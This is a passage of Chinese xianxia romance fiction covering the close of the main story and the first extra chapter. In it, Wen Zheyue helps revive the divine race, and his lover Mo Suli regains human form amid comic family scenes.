闻折月也不喜欢说矫情的话,他的情都留给了墨夙离,没空跟别人煽:“听说你刚刚被雷劈了,能再帮忙被劈一下吗?” 天帝:“……” 闻折月瞄了眼正在准备状态的劫雷,客气道:“被劈完之后还有件事需要您这个仙界尊主帮忙。” 闻折月一旦开始装乖,就证明事情不简单了。 天帝有种不好的预感,现在掉头就跑来得及吗? 但现在显然已经晚了,闻折月死死拉着天帝,手握得比当初在竹林里握着那把剑捅进胸口中还要紧。 这可是救命稻草,不能松手。 劫雷说劈就劈,补天的闻逍探头看了一眼,不禁缩了缩脖子:“这回不用咱俩亲自动手了。” “他拉着天帝干什么?”蔺月盏皱眉,“这俩人该不会冰释前嫌了吧?” 如果真是这样的话,他会怀疑闻折月是不是他的亲生龙崽,心肠未免太软了。 “听说过人形避雷针吗?”闻逍努努嘴,为天帝捏了一把冷汗,“墨夙离渡劫劈天帝,闻折月渡劫也劈他,我看今日渡劫的还是天帝才对。” 说得云里雾里的,还人形避雷针,不就是人肉盾牌嘛。 蔺月盏点点头,露出了赞扬的眼神:“这才是我亲生的龙崽子。” 闻逍哭笑不得,要不是闻折月在魔界出了岔子,蔺月盏恐怕能把他培养成混世大魔头。 不过在睚眦必报这一点上,闻折月比蔺月盏有过之而无不及,只是挡个雷恐怕不够,天帝后头还有大福气呢。 劫雷强劲,蔺月盏看了一会儿,担心之余又有些骄傲:“这么严重的劫雷,小龙崽子的境界快超过你了啊,啧,果然是青出于蓝而胜于蓝,看来仙尊大人天赋第一的名号要易主了。” “名声乃是身外之物,不值一提。”闻逍话锋一转,“只要老婆不易主就行。” 蔺月盏:“……” 命轨星君好奇地问道:“老婆是什么意思?” 他经常听到闻逍提到这个词。 闻逍撞了撞蔺月盏的胳膊:“老婆,你告诉他是什么意思。” 蔺月盏面无表情:“意思就是爹。” 命轨星君大惊,谁知道啊,战神在背地里喊魔尊爹! 天道也凑了过来,一脸学到了新知识的表情,举一反三道:“所以你们两个都是折月仙尊的老婆。” 蔺月盏:“……” 闻逍又气又好笑,横了他一眼:“都怪你。” 蔺月盏也很无奈,转头就把气撒在了命轨星君和天道身上:“你俩的命运线理清楚了吗?” 天道还没感觉出他平静话语下暗藏的杀机,不明所以道:“理清楚了,能够飞升之后,下界的命运线就逐渐归正了。” 命轨星君欲哭无泪,好家伙你是轻松了,这群飞升的人命运线全都转到了上界,他现在两眼一抹黑,一边工作,一边看着工作飞速增多。 心理极度不平衡的命轨星君决定不提醒天道,他和闻逍蔺月盏打交道的次数多,早就看出了蔺月盏的杀气。 “我还没工作完,我继续工作了,你们慢慢聊。”命轨星君果断跑路。 天道:“?” “既然你理清楚了,就可以开始做下一个工作了。”蔺月盏笑容满面,热情地推着天道来到上下界的通道旁,“渡劫成功的人要登记,交给你了。” 天道一脸懵逼:“可这是上界的工作。” 他只管下界的事。 “分什么上界下界,捅破了天都是一家人。” 说到这里,天道突然意识到什么,他默默转头看向那个窟窿,却发现窟窿并没有缩小很多,保持着一道裂缝。 以闻逍和蔺月盏的能力,早就该补好了,还有道缝,证明他们压根就不想把窟窿补上。 不久之后,上界和下界,或许真的不会分开了。 天道沉默了一会儿,乖乖去登记了。 劫雷终于劈得差不多了,闻折月和天帝在无妄海里飘着,闻折月还好,挣扎着起来:“走,去做大事了。” 天帝活似被劈得灵魂出窍了,一点反应都没有。 闻折月喊了几声,还是没有回应,他索性不管三七二十一,化为原形,搅得无妄海不得安宁,搅得魔族们纷纷告饶,才对魔族将领们命令道:“召集魔族大军去无妄海,本尊带你们去毁掉仙界禁地。” 说完他拉起天帝:“这是人质,到时候先杀这老不死的,再踏平仙界。” 魔族被他惊人的气势震到了,即使闻折月现在刚被雷劈过,看起来十分狼狈:“仙尊此言可当真?” “别叫我仙尊,我是前魔尊的儿子,现魔尊的相公。”闻折月一副和仙界划清界限的样子,“从今往后我不是半个魔族了,我是大半个魔族,为我魔界开疆辟土,义不容辞。” 魔族一向缺脑子,又慕强,被刚刚突破境界的闻折月一忽悠,立马上了钩,大为感动道:“我们就知道仙……就知道您记挂着魔族。” 闻折月矜持地点了点头,拎着天帝往玉海明沼冲:“我先行一步,你们快些跟上来。” “你赶着去投胎吗?”天帝崩溃不已,想到闻折月刚刚说得话,没忍住哂了声,“说错了,你是赶着送我去投胎。” 他倒不信闻折月会同魔族为伍,不过这小白龙指定没憋好屁。 闻折月生拉硬拽把天帝带到了玉海明沼。 玉海明沼变了一个样,天帝本来还半死不活的,一看到遍地丛生的植被,顿时醒了,有种热泪盈眶的感觉。 “怎么会……” 自从神族被灭族之后,玉海明沼就一步步走向了衰败,虽然表面上看起来还是一片世外仙境,但看过以前的玉海明沼,就能对比出二者之间的区别。 就好像神族的灭族带走了玉海明沼的生气,他们能留住的只是一个繁殖白椿的空壳。 “之前的事,神族和仙魔两族都有错,走到灭族这一步,太过了。”闻折月斟酌着措辞,他无意评判前人的选择,也不想触碰仙族心底的沉疴。 天帝深深地叹了口气:“事已至此,除非时光倒流,一切回到最初的原点,神族复活,否则这个结永远都解不开。” 神族会一直诅咒仙魔两族,而仙魔两族将永远活在神族的阴影下。 “时光倒流是不可能的,世界上也没有后悔药。” 闻折月看着远山之中升起的光晕,感觉到了来自墨夙离的呼唤,是热烈的,是欢喜的。 他知道,仙魔有别的诅咒终于要解除了。 “但神族复活还可以争取一下。”闻折月看着惊愕的天帝,指了指玉海明沼,“就是不知道仙界愿不愿意伸出援手,就像当初神族对被锋金蝶逼到走投无路的仙界伸出援手一样,帮神族一把。” “这是帮忙,也是赎罪,更是解开心结与仇恨。” 在这一刻,天帝仿佛看到了仙族挣脱束缚的曙光,那束光来自玉海明沼的深处,来自闻折月的邀请,来自墨夙离的付出。 经过了数不尽的岁月,他们终于迷途知返,回到了正轨上。 魔族大军集结后很快赶了过来,兴冲冲地想拿仙界开刀。 闻折月舒出一口气,如释重负:“玉海明沼还需要很多力量哺育,魔族大将被我骗过来了,能不能利用好他们就看您的了。” 天帝:“……” 他怀疑解开仇恨是假,闻折月想报复他是真。 天帝头很疼,实在没办法,拉下老脸向闻逍求助了:“把你道侣借我用一下。” 闻逍只回了一句话:“你是没有道侣吗?” 天帝骂骂咧咧,瞄了眼赶过来的魔族大军,一边给仙界传信,一边苦口婆心地和闻逍讲道理,忙得焦头烂额。 闻折月直接将烂摊子丢给了天帝,墨夙离留下了希望的火种,浇灌这束火苗就交给仙魔两族了,而他,要去找他的小花了。 湖泊中央,熟悉的小花苞随风飘扬,察觉到闻折月的靠近,兴奋地冲他摇了摇叶子。 一如千年前的每一天,小花在无妄海禁地里等着小白龙。 仿佛又回到了少年时期,闻折月加快脚步,正想扑过去,脑海中就冒出了墨夙离焦急的声音:“别过来,你会淹死的!” 闻折月堪堪刹住脚步。 见到心上花太激动,忘了这湖泊他碰不得了。 “你怎么又变成小花了?” “力量都用掉了,所以变成花了。”墨夙离晃了晃叶子,他的花苞闭拢着,不知道什么时候才能再度绽放。 察觉到闻折月低落下来的情绪,墨夙离装模作样地叹了口气:“一次十天没了,就连十天一次也别想了,我现在得重新长大。” “你看看你灰头土脸的,挨揍了?”墨夙离还不知道闻折月又捱了一道劫雷,他现在自身难保,连同心命契的心音都弱了很多,“没我在身边,你果然会被欺负。” 谁能欺负折月仙尊,他不欺负别人就好了。 闻折月却顺着他道:“那你快点好起来,来保护我。” 墨夙离一口答应下来:“但你自己也得保护好自己,遇到危险别怕丢脸,记得叫爹爹帮忙,我可不想化形了之后,还得去给你哭坟。” 闻折月:“……” 闻折月:“不会的。” 墨夙离有一百种破坏气氛的办法。 闻折月又气又好笑,牙痒痒,但一想到墨夙离穿着一身白默默掉眼泪的小模样,又有点心热:“我掐指一算,你很快就会好起来,到时候就不是一次十天的事了。” 得一次一百天! 墨夙离以为闻折月在哄他,没往心里去,突然感觉到四周的力量莫名其妙增强了很多,他不由得心里一咯噔:“你都做了什么?” “没做什么,就是劝说仙魔两族伸出援手,我寻思你和小崽子都能吸收魔气,那神族应当也可以被仙魔两族的力量哺育。” 墨夙离目瞪口呆,说动仙魔两族伸出援手,是他连想都不敢想的事情:“他们想置神族于死地,怎么会答应出手相助?” “因为仇恨是可以化解的,无论是神族还是仙魔两族,都并非穷凶极恶之徒。” 闻折月弯了弯眸子,又笑道:“除此之外,我还去捱了一道劫雷。” “怎么回事,你……”突然想到什么,墨夙离的语气变了几分,“难道你突破境界了?” “没错” 神族之事快解决了,仙魔两族和神族的仇恨也在化解当中,如今唯一值得费点心思的就是退化成花苞状态的墨夙离,以及还没长大的小崽子。 墨夙离和小崽子的问题都不难解决,闻折月心里已经有了计较。 他终于看到了苦尽甘来的曙光。 “在境界上,你又不如我了。”闻折月扬起笑,注视着湖泊中央的小花,眼底涌动着绵绵情意,“看来以后你又要被我欺负了。” 墨夙离:“……” 不想化形了,请问现在消极修炼还来得及吗? 【正文完】 第57章 第 57 章 消极修炼是不可能的, 不被摁着脑袋没日没夜地修炼就算好事了。 在仙魔两族的合力帮助下,玉海明沼内的希望种子终于发了芽,曾一度被灭族的神族重现世间, 岁月弹指一挥, 三族经年再会面。 大部分人都不知道当年发生了什么,旧事掩埋在岁月长河之中, 已经失去了曾经的面目。 真相并非不重要了,而是在乎的人差不多都死光了。 只有极少数亲历过当年之事的人还活着,心里仍然有个结, 比如天帝, 他不敢开口,甚至有些排斥和神族交流。 说愧疚吧,也不是, 毕竟神族确确实实欺压过仙族, 他们反抗是为了活下去。不愧疚吧,仙族当初又的确有恩将仇报的嫌疑。 多种心绪纠结在一起,理不清头绪, 勉强可以称之为尴尬。 天帝最终还是说服了闻逍,请出了蔺月盏,前任魔尊一开口,魔族大军服服帖帖,非常配合。 魔族早些年和仙族联手灭了神族, 没有神族后, 又一门心思想把仙族踩在脚下,他们道德标准低, 崇尚武力,压根不会在乎对错。 因此尴尬的人不多, 仙魔两族挑拣起来,也就天帝一个。 神族倒是都和天帝的心情相同。 他们承袭了留存在异界的记忆,看到了过往的种种,仙族的恩将仇报固然可恨,但后来神族对仙魔两族的折磨也并非子虚乌有,走到灭族那一步,也算是咎由自取。 心怀善念的人总会反省自己,神族与仙族原本就不是穷凶极恶之辈,无意鱼死网破,在太平盛世相遇,为了不成为众矢之的,反而不会主动挑起事端。 神族复活后,首要任务就是帮助墨夙离修炼。 闻折月最终还是走上了挟恩图报这条路。 墨夙离这才明白了他的良苦用心:“我说你怎么尽心尽力地联合仙魔两族,原来不止是为了神族。” “我可没那么大义凛然。”闻折月坐在湖边,他刚从无妄海禁地过来,这两天在玉海明沼和禁地来回跑,一身风尘仆仆的气息。 娘子和崽子都不能扔下,他要做个合格的相公,还要做个合格的爹爹。 “人家是有钱能使鬼推磨,到了我这里,理由只可能是为了你啊。” 墨夙离不吱声了,默默往湖里缩了缩,只露出一个花苞尖尖。 闻折月勾了勾唇角:“害羞了?” “不是吧不是吧,魔尊大人越活越回去了,以前的你可不会不好意思,还会高高兴兴地摇着叶子蹭我的手,让我多说几句。” “……” 墨夙离无法直视曾经的自己,那时候他还不通人事,所有行为全凭本能,喜欢就贴贴蹭蹭,不开心就扭头,拿后脑勺对人。 他有时候会想,如今他喜欢将喜欢藏在心里,是不是因为曾经太过坦诚,透支了所有勇气。 “墨夙离,快点化形吧。”闻折月的叹息声很轻,似乎藏着无限宠溺,小花苞固然不错,但活生生的人更好,他渴望与墨夙离做一对平凡伴侣已经很久很久了。 从他还在人间渡劫开始,就期待着执手白头的那一天。 墨夙离感受到了他的期待,闻折月每日在玉海明沼和无妄海之间奔波,他都看在眼里,或许他当初能够毅然决然地付出神力还神族的恩情,就是因为闻折月的爱给了他底气。 当花也不错,想睡就睡,不用做人事。 但当花不能抱住闻折月。 墨夙离突然生出一种迫切的渴望,他昂起了小花苞,郑重地承诺道:“我会努力的。” 说努力就努力,墨夙离是一旦确定目标,就会不择手段达到的性格,他答应了闻折月要快点化形,就拼命的吸收力量,把所有能吸收的力量全都吸收了。 在某一个风和日丽的日子,神族找到了他,委婉地表示异界更适合他生长,可以把他送过去。 不是他们不想留下墨夙离,实在是这家伙太能吸了,玉海明沼刚刚恢复生机,在这样下去迟早被吸空,严重影响了神族的生长和修炼。 “异界?” 墨夙离有些犹豫,他之前也考虑过要不要去异界,一想到会见不到闻折月,就打消了念头。 闻折月每天雷打不动来湖边陪墨夙离睡觉,神族知道他的顾虑,连忙保证道:“异界的封印解开了,亡魂的怨恨也被度化了,放一个仙魔混血进去,不是问题。” 话都说到这份上了,墨夙离没有拒绝的理由,他当天就去了异界。 闻折月这些天被闻逍和蔺月盏提着耳朵上工,神族重现,上下界的通道崩塌,世间的秩序被打破,正是重建的关键时期。 六族进行了商议后,决定推翻上下界,划地而居,再也不会因为种族而失去突破境界的机会。 身为仙魔混血,又是实力强劲的仙尊,闻折月必须承担起责任,上下界的等级刚刚被打破,他被派去维护秩序了,说白了就是收拾挑事的刺头。 闻折月想逃避责任,但被闻逍和蔺月盏强行镇压了。 他虽然天赋异禀,小小年纪就有望超越闻逍,但他的两个爹不讲武德,收拾他的时候都是一起上,双拳难敌四手,闻折月就被苦哈哈地拉去帮工了。 他怀疑他的爹爹们在报复他。 不得不承认,闻折月很了解两个爹,闻逍和蔺月盏的确是在报复,报复他三过窟窿而不入,有事叫爹爹,无事陌生人。 “别丧着一张脸,你这是在帮你的老婆处理遗留问题。”闻逍解释道,“无法飞升的问题能追溯到千年前,或许墨夙离都不知道,他的降生无形之中影响了世界。” 那道劈向墨夙离的劫雷打响了神族复仇的讯号,从那之后,世间就裂开了一道缝隙,诅咒像瘟疫一样在大地上蔓延。 这才是天帝,乃至于仙魔两族会顺水推舟帮助神族的根本原因。 能共赢就没必要两败俱伤。 倘若此时有一个种族不愿意合作,那就不仅仅是私仇了,而是置天下苍生于不顾,势必会引起其他五族的非议,相互制衡是维持和平最好的办法。 闻折月动了动耳朵:“老婆是什么意思?” “……” 闻逍闷笑一声,看向蔺月盏,后者一脸糟心表情,显然是对这个问题极度讨厌:“对你来说,老婆就是墨夙离。” 懂了,老婆就是娘子。 这天晚上,闻折月兴冲冲地往玉海明沼跑去,准备和墨夙离分享他刚学到的新称呼,结果到了一看,湖泊空荡荡的,水面无波,哪里还有小花的踪影。 闻折月傻眼了。 他老婆呢? 他那么大一个老婆呢??? 再去无妄海一看,崽子倒是还在,小崽子和墨夙离有一定的感应,看它乐呵呵的,基本可以确定墨夙离没事,闻折月稍稍松了口气,试图和墨夙离进行心音沟通。 墨夙离变成花之后,他们的心音沟通时断时续,大概是花和人有本质区别,小小的花苞不如大脑,处理不了太多事情。 好不容易联系上了,只听到一声软乎乎的嘟哝:“我在异界。” 回到异界的墨夙离本能地想要沉眠,借此来休养生息,闻折月狂轰乱炸的心音暂时将他从睡梦中唤醒,打了个哈欠后,墨夙离就又睡过去了。 闻折月坐不住了,提了枪就要去异界,好在异界的封印解开了,不然他都找不到路。 闻折月的突然造访将异界中的神族吓了一跳,这尊煞神提着枪,活似被抢了老婆,凶神恶煞的,吓得他们还以为仙魔两族暗中撕毁协定了。 听到嘈杂的声音,墨夙离迷迷糊糊地睁开眼睛,闻折月气势汹汹,在他身后,跟着一群战战兢兢的神族,弱小可怜又无助。 本来还在打瞌睡的墨夙离一下子就清醒了。 “你要攻打神族?” 闻折月噎了下,看到他完好无损,提着的心总算落了地:“对,我要攻打神族,谁让他们把我的小花偷走了。” 墨夙离的脑子终于转过来了,认认真真地解释道:“我不是被他们偷走的,是我要来这里修炼,我告诉过神族的人,每天要接你过来陪我睡觉,他们没去找你吗?” 大概找了,但他每日来去无踪,找不到很正常。 闻折月被一句“陪我睡觉”安慰到了,收了枪:“我不陪,你就睡不着吗?” 刚刚睡了一觉的墨夙离沉默两秒,果断点头,不和闻折月讲道理是他最近总结的生存经验:“你陪我在这里睡一段时间,我就能化形了,到时候就可以抱你了。” 大抵是刚刚睡过,脑子还不清醒,又或者是变回了小花,曾经的坦诚也回来了,墨夙离一句接着一句,砸得闻折月心头发软。 他蹲下身,轻轻拢了拢小花苞:“好,我陪你。” 叶子捂住了花苞,墨夙离小声道:“还有人在看。” 围观的神族原本还在害怕闻折月突然暴起,见他小心翼翼地抱着小花,眉眼间尽是柔和的笑意,不由自主地露出了笑容。 在古老的传说中,墨夙离有一个很拉风的名字——永生之花,他是神族的起源,传说给予永生之花纯粹的爱意,他就会带来奇迹。 神族守了永生之花千万年,却没有等到他绽放,本以为是传说有误,现在想想,或许是他们的爱并不够纯粹。 “那就让他们看。” 看看我有多么爱你。 闻折月就这样在异界住下了,陪着墨夙离睡了一个长长的觉。 醒来的时候,空气中弥漫着勾人心弦的冷香,日光晴朗,他往旁边一看,小花已经不见了,取而代之的是墨夙离,闻折月轻轻将人抱进怀里,重新闭上眼睛。 今天天气好,适合和心上人睡一个回笼觉。 ——正文完。 第58章 番外一 第58章 番外一 墨夙离的化形比想象中快很多, 也因为太快了,他的化形并不稳定,偶尔会突然变成一朵花。 第一次变花的时候, 闻折月刚带着他离开异界, 路上“偶遇”了在异界门口徘徊的闻逍和蔺月盏,闻折月说跑就跑, 两人不仅要收拾闻折月的烂摊子,还要去禁地里照看小崽子,千年来都没过过这种忙碌的日子, 俨然两个大冤种。 最后实在受不了了, 跑来抓人了,今天就算闻折月不出来,他们也得想办法进异界把他抓出来。 知道神族帮忙拦了闻逍和蔺月盏, 让他和墨夙离睡了一个回笼觉后, 闻折月感恩戴德,当着两个冤种爹的面对着神族道谢,气得闻逍作势要抽他。 墨夙离想拦, 又不太敢拦,闻折月倒是一个劲儿往他身后躲,嚷嚷着:“我现在已经成家立业了,你们不能再把我当小孩子,想打就打, 想骂就骂了。” “对, 你成家立业了,所以丢下工作一走了之的人是谁?抛下孩子杳无音信的人是谁?” 要不是小崽子是朵花, 闻折月这个不称职的爹会被老父亲打死。 工作不干就不干了,但抛下孩子确实过分了, 这下子连墨夙离都投来了谴责的眼神,闻折月无从辩解,被三个人轮番教育了一遍。 教育完闻折月出了怨气,闻逍和蔺月盏这才重新打量起墨夙离,语气和缓了几分:“这么快就化形了,很辛苦吧,来,爹爹们帮你看看境界。” 修炼太快容易根基不牢固,他们怕墨夙离一心求速,留下隐患。 墨夙离知道他们是好意,但还是控制不住紧张,在闻逍伸手要试他的境界时,他一个激灵,变回了花。 闻折月眼疾手快,连忙接住小花苞:“爹,你吓到他了!” 闻逍:“?” 两个老父亲被眼前的状况弄得不知所措,等到反应过来的时候,闻折月已经揣着花跑远了,闻逍和蔺月盏面面相觑,最后得出了一个结论:墨夙离被闻折月带坏了。 故意变回原形帮助闻折月逃跑。 闻折月也是这样认为的:“魔尊大人的反应变快了,就连演技也变好了。” 墨夙离懵懵的:“什么?” 他还没从突然变成花的事情中回过神来。 “你不是故意变回原形,让我带你逃跑的吗?” 墨夙离的沉默给了他答案。 闻折月一下子敛了笑意,掉头往回走,找神族看过之后,得到的解释是没什么问题,大概是刚化形不熟练,闻折月不放心,又带着墨夙离找到了闻逍和蔺月盏,被两个爹好一通奚落后,确认了墨夙离没事。 “修炼得太快了,好在根基没受到影响,过一段时间就好了,以后切记不可操之过急。” 回无妄海的路上,墨夙离就变回了人形。 闻折月被闻逍和蔺月盏耳提面命了一番,墨夙离心虚不已,明明是他修炼得不到位,但两个爹爹将责任都推到了闻折月身上,说他都是被闻折月逼的。 “是我对不起你。”墨夙离乖乖认错。 闻折月故作严肃:“以后修炼得稳扎稳打,可不能这样了,好在是见爹爹的时候变成了花,要是咱们洞房到一半你变回原形了,我会有心理阴影的。” 墨夙离:“……那你会痿吗?” “怎么可能,我可是大猛龙,以后别让我听到‘痿’这个字。”闻折月哼了声,埋在他肩上碎碎念,“但我会害怕的,怕是不是我做得太狠,你才当不了人。” “你也知道你做得狠啊。” 提起这茬,墨夙离就想到了在人间发生的事情,闻折月在床下是个温文尔雅的读书人,不知怎么的,到了床上就变成了没理智的牲口,他现在想起成亲那天都腿软。 墨夙离的语气里充满了怨念。 闻折月闷声笑笑:“这不能怪我,要怪就怪大师兄,是他说做小白脸一定得猛一点。” “小白脸?” “你供我吃,给我喝,还给我大房子住,我不是你养的小白脸是什么?” 墨夙离哑口无言,他头一回知道闻折月在心里是这样定位自己的:“我当时真没把你当小白脸,我把你当成床伴,准备让你在情期伺候我的,谁知道你一点都不合格。” 他还没和闻折月提过情期的事,因此听到“床伴”二字后,折月仙尊脸上的笑容一下子消失了:“你不是因为喜欢我,所以才要和我成亲的吗?” 他以为墨夙离在人间的时候就看上了他,想和他过一辈子。 仔细想想,要不是情期的话,墨夙离为什么要去人间,哪个魔尊上任的第一件事是去人间找相好的,要不是情期的话,墨夙离怎么会因为腰疼说走就走。 闻折月大破防:“我拿你当老婆,你拿我当度过情期的工具。” “你别乱想。”墨夙离想解释,但仔细想想,床伴和工具也没太大的差别,他沉默了一下,问道,“老婆是什么意思?” “你连个解释都没有,就开始转移话题了,还转移得这么生硬!”闻折月更崩溃了。 他以为的两情相悦,假的,他以为的一见钟情,假的,他以为的追爱情趣,假的。 实际上他真的在强取豪夺。 “不管过程如何,结果好就行了。”墨夙离安慰道,“都生米煮成熟饭了,别太在意细节。” 细节决定成败,你有没有听说过? 闻折月撇了撇嘴,但转念一想也没错,墨夙离这朵强扭的花已经被养成了甜花,假的两情相悦也变成真的了。 他勉勉强强松了那口郁气。 时隔多日再见到小崽子,待看到小龙花长大了一圈后,闻折月忽然觉得自己这个爹当得的确很不称职。 不管怎样,墨夙离没办法照顾小崽子,他应该时常回来看一看的。 闻折月在心里暗暗自责了一番,都怪他爹,要不是他爹小时候把他扔在下界,他也不会做不了一个称职的爹爹。 小崽子热情地挥爪:“爹爹!” 闻折月和墨夙离同时浑身一震,什么都抛之脑后了,凑到小崽子面前。 两人捏着它的小爪子,老父亲的欣慰油然而生:“崽,你什么时候会叫爹的?” “爷爷,教我哒!”小崽子兴冲冲道,“大龙爷爷,漂亮爷爷!” 这说得就是闻逍和蔺月盏了。 闻折月哼了两声,小崽子还没夸过他,倒先夸起他爹了,早知道他该早早给小崽子看看他的原形:“爹爹我才是最厉害的大龙。” 熟料小崽子这次没有哄他,反而非常认真地反驳道:“爷爷们,最厉害!” 闻折月:“……” 墨夙离偷笑:“让你不好好带孩子,现在孩子不认你了吧。” “我没有不好好带,还不是因为……”闻折月饶有深意地看了他一眼,“鱼和熊掌,不可兼得。” 而他自己要选他的小花。 对视一眼,暧昧的火花在空气中噼里啪啦作响,紧接着两人就心照不宣地移开了视线,陪着小崽子玩,逗小崽子说话。 墨夙离只是随口调侃,但没想到小崽子真的不认闻折月了,严格来说,是不认他俩了。 原本最喜欢他俩的小崽子和他们玩了一会儿后就失去兴趣了,闹着要找爷爷,闻折月和墨夙离怎么哄都没用,小龙花一个劲儿地喊“爷爷”,黏黏糊糊的都带上哭腔了。 闻折月后悔不已:“崽是不是怪我了?” 墨夙离还没来得及说话,小崽子就否认了:“不怪爹爹。” 闻折月内心放晴。 然而下一秒,刚安慰完他的稚嫩童音就又捅了他一刀:“要爷爷们!” 闻折月:“……” 两人无法,只得求助闻逍和蔺月盏。 “这大概就是隔代亲吧。” 大抵是草木本身对于亲缘关系十分淡薄,墨夙离并不像寻常父母一样执着于在孩子心里争第一,小崽子喜欢他就行了,不需要那个“最”。 但闻折月就不一样了,对于小崽子更喜欢闻逍和蔺月盏这件事,感到非常挫败:“隔代亲,隔代亲……隔掉的是我吗?” 本来只是嫉妒闻逍和蔺月盏能得到小崽子的最喜欢,现在闻折月又开始嫉妒小崽子得到了他小时候没得到的关注,要知道闻逍和蔺月盏基本算是缺失了他的童年。 墨夙离头都大了,再次认识到一件事,他很不适合安慰人。 第二次变成花,又是在见到闻逍和蔺月盏后。 对于小崽子黏他们的事情,两人都没表现出厌烦,在心软的同时,对闻折月就更不满了。 “让你不好好履行一个当父亲的责任,现在吃到苦头了吧。” 被奚落的是闻折月,但墨夙离在一旁听着,心里也不是滋味:“他小时候也没有父亲履行责任,没经历过的事情,当然学不会。” 空气安静下来,周遭的气氛明显变了。落针可闻。 墨夙离是脑子一热回怼的,转瞬间就冷静下来了,浑身的血液都要凉透了。 他是疯了吗?! 他作为一个外人,竟然在指责闻逍和蔺月盏没有做好父亲。 且不说有没有资格,闻逍和蔺月盏为了闻折月奔波千年,养恩未尽,但也并非不想尽,只是生下闻折月就差点搭上两人的性命。 不是闻逍和蔺月盏想抛下闻折月的,他们也是迫不得已。 他说错话了。 墨夙离大脑一片空白,“啪”的一下,又变回了花。 “是呀,我都不知道怎么当一个好的爹爹。”闻折月笑了笑,将颤颤巍巍的小花拢进掌心里。 蔺月盏皱了下眉头:“折月……” “爹爹,我都明白,当初你们也是身不由己,我都懂的,我很感激你们,也从来没有怨恨过,我觉得我很幸运。” 小龙花察觉到他的情绪,也低落下来,小声喊着“爹爹”。 闻折月看了看它,有点不好意思,又有点无奈:“但就是控制不住自己,偶尔会感到难过。” 毕竟没人不想拥有父母明确表达的爱意。 看到小崽子之后,有了对比之后,他忽然心理不平衡起来,并非嫉妒自己的孩子,而是他想起曾经那个孤单长大的自己,会有一点点的心疼。 太矫情了。 闻折月摸了摸掌心里的小花,心里热乎乎的,他本来以为要将这点小心思带到坟墓里,却没想到,有朝一日他能说出来。 说出来之后,胸口里一直堵着的气好似也散了。 “他吓到了,我先带他回去休息。” 离开之前,闻折月俯身亲了亲小崽子:“崽崽乖,爹爹们明天再来看你。” 他离开之后,闻逍和蔺月盏沉默了很久,两个利落干脆的人长吁短叹,破天荒的多愁善感起来。 “爷爷?”小崽子对情绪的感知十分敏锐,不懂两人为什么难过。 闻逍苦笑一声:“爷爷不是一个好爸爸。” “爸爸?” 小崽子还不知道这个词的意思。 蔺月盏快刀斩乱麻,踹了踹闻逍:“你去道歉。” 闻逍呆住:“为什么不是你去?” “因为我不是大丈夫。”蔺月盏理直气壮,“你是,你能屈能伸,你去。” 闻逍:“……” 这边两人还在纠结道歉弥补的事,那边闻折月已经抱着老婆甜甜蜜蜜热炕头了。 墨夙离反应不过来,你不是在伤心难过吗?你脱衣服干什么? 闻折月摸了摸重新变回人的墨夙离,警惕道:“你该不会突然又变回原形吧?” 之前开玩笑,他可不想真在洞房时突然面对一朵花。 “不知道。”墨夙离也不确定,“感觉应该是我一紧张就会变。” 前两次变成花的时候,他都很紧张。 不过这不重要。 他摸了摸闻折月的额头,眼神里带着担忧:“你是不是伤心到病了?” “我为什么要伤心?” 闻折月思索了一下,明白他的点了,哭笑不得:“我没有伤心,那么说是为了配合你,免得你被公婆记恨。” 墨夙离:“……” “好吧,我不否认我有一点难过,但只有一点点,那是小时候的我在意的事情。” 儿时的难过来自于不确定自己是否被疼爱,所以才没有底气,长大成人后,才知道爹爹们为他付出了多少,那些都是他被爱着的证明。 闻折月抓住他的手,亲了一下:“不过听到你为我鸣不平,我很感动,我代表小时候的自己,向你道谢。” 他和墨夙离相遇在儿时,小花陪伴着小时候的他,如今墨夙离再次治愈了他。 “你一定是上天赐予我的奇迹。”闻折月虔诚地吻住他的眼睛,重新化形的墨夙离依旧保留了蓝色的左眼。 他郑重又认真,直白地诉说着情意:“墨夙离,我心悦你。” 怀抱滚烫,胸腔内剧烈跳动的心脏震得墨夙离呼吸发紧,他张了张嘴:“我也——” 酝酿了很久很久的情话刚开了个头,戛然而止。 闻折月看着掉落在床铺上的小花,表情一寸寸裂开。 第三次来了。 真是怕什么来什么,墨夙离又一次变回原形了。 好消息:他们还没进入正题。 坏消息:他的情话!他好不容易等到的情话!没有了!!!